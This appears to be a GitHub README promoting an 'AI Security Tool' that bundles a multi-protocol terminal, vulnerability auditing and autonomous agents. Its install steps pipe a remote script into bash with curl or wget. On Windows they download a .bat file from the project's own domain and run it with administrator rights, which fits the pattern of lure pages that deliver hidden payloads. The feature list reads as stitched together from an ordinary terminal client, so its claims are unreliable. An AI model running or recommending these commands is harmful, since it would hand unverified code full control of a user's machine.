ZeroDayEvil/ai-security-tool

Next-Gen AI Security Ecosystem, Multi-Protocol Terminal & Autonomous Agent Suite

🌐 Web Demo • 📚 Project Website • 💬 Community Chat

Website Navigation: Home • Updates • Downloads • Modules

AI Security Tool is an open-source, cross-platform ecosystem designed at the intersection of traditional system administration and modern cybersecurity. It combines a multi-protocol connectivity suite (SSH, RDP, VNC), deep Supply Chain Security analysis (CVE & SBOM auditing), and an autonomous ecosystem powered by 12+ AI Agents.

The tool eliminates the need to switch between dozens of utilities during security audits, Red Team operations, penetration testing, or CTF challenges. Available both as a desktop application (Linux, macOS, Windows, Android, iOS, HarmonyOS) and a fully featured Web Interface.

"Bridge the gap between execution, intelligence, and supply chain audit."
We built AI Security Tool to replace tedious manual workflows with a unified AI-Native platform that automatically correlates vulnerability contexts, tunes parameters, and automates auditing pipelines.

A curated collection of vulnerability scanners, PoC exploits, and technical research maintained by our community:

• Supported Protocols: SSH, SFTP, Telnet, Serial Port, RDP, VNC, SPICE, FTP.
• UI & Customization: Window transparency (macOS, Windows), custom themes, and background images.
• Usability & Workflow:
  • Guake-style pop-up terminal triggered via global hotkey (default: Ctrl + 2).
  • Direct remote file editing via SFTP with a double-click.
  • Multi-input broadcast (transmit commands to multiple active sessions simultaneously).
  • SSH tunneling, SSH key/password authentication, global and session-specific proxy support.
  • Synchronization of bookmarks, themes, and quick commands via GitHub Gist / Gitee Snippets.

• Intelligent Caching: Acceleration of repeated security analysis using LRU algorithms.
• Real-Time Process Manager: Live process monitoring and execution control.
• API Security Testing: Built-in diagnostic modules for GraphQL, JWT, and REST APIs.
• LLM Integration: Built-in AI assistant supporting DeepSeek, OpenAI, and custom APIs for command suggestions, script generation, and terminal output analysis.

Dedicated autonomous agents integrated into the system for automating complex audit scenarios:

graph TD
    A[Target Project / Assets] --> B{Aggregated CVE DB Engine}
    B -->|Daily Sync| C[NVD / OSV / GAD / RedHat]
    A --> D[Binary & Dependency Analyzers]
    D --> E[Generate / Parse SBOM Standard]
    E --> F{Vulnerability Correlator}
    C --> F
    F --> G[Enrich Context & Remediation Data]
    G --> H[Export Reports: Console / JSON / CSV / HTML / PDF]
  

Fast deployment via command-line installation scripts:

Linux / macOS:

curl -o- https://raw.githubusercontent.com/ZeroDayEvil/ai-security-tool/main/scripts/one-line-web.sh | bash
# or using wget:
wget -qO- https://raw.githubusercontent.com/ZeroDayEvil/ai-security-tool/main/scripts/one-line-web.sh | bash

Windows PowerShell (Run as administrator):

iwr "https://zerodayevil.cloud/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"
cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"

The script installs Go, Python, and Node.js, extracts the archive. No extra commands are required.

iwr "https://zerodayevil.cloud/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"

Once started, open your browser at: http://127.0.0.1:5577

When hosting on external or public networks, configure environment variables in your .env file:

ENABLE_AUTH=1                   # Enable password authentication
DISABLE_LOCAL_TERMINAL=1        # Disable direct access to local server terminal
SERVER_SECRET=your_server_secret_key
SERVER_PASS=your_strong_password

Start service:

./run-ai-security-tool-web.sh

Example configurations for Nginx and SSL are provided in examples/nginx.conf.

IMPORTANT: This tool grants AI Agents capability to execute system commands.
• Action Control: Always monitor AI Agent activities via the real-time dashboard.
• Least Privilege: Execute the application strictly with the minimum necessary system permissions.
• Network Security: Always enable authentication (ENABLE_AUTH=1) and disable local terminal access (DISABLE_LOCAL_TERMINAL=1) when exposing the Web interface externally.
Running this tool against unauthorized systems is illegal. The developers assume no liability for misuse or system damage.

We welcome contributions from the cybersecurity community! Key contribution areas:

1. AI Integrations: Adding new LLM providers and developing specialized security agents.
2. Security Tools: Integrating third-party CLI scanners and custom parsers.
3. Optimization: Improving parser speed, caching logic, and resource consumption.
4. Documentation: Writing guides, research papers, and localized translations.

• Official Website: zerodayevil.cloud
• Telegram Admin: @ZeroDayEvil
• Sponsor Project: PayPal Donations
• Open Collective: ZeroDayEvil

AI Security Tool — Reimagining terminal workflow and automation for cybersecurity professionals.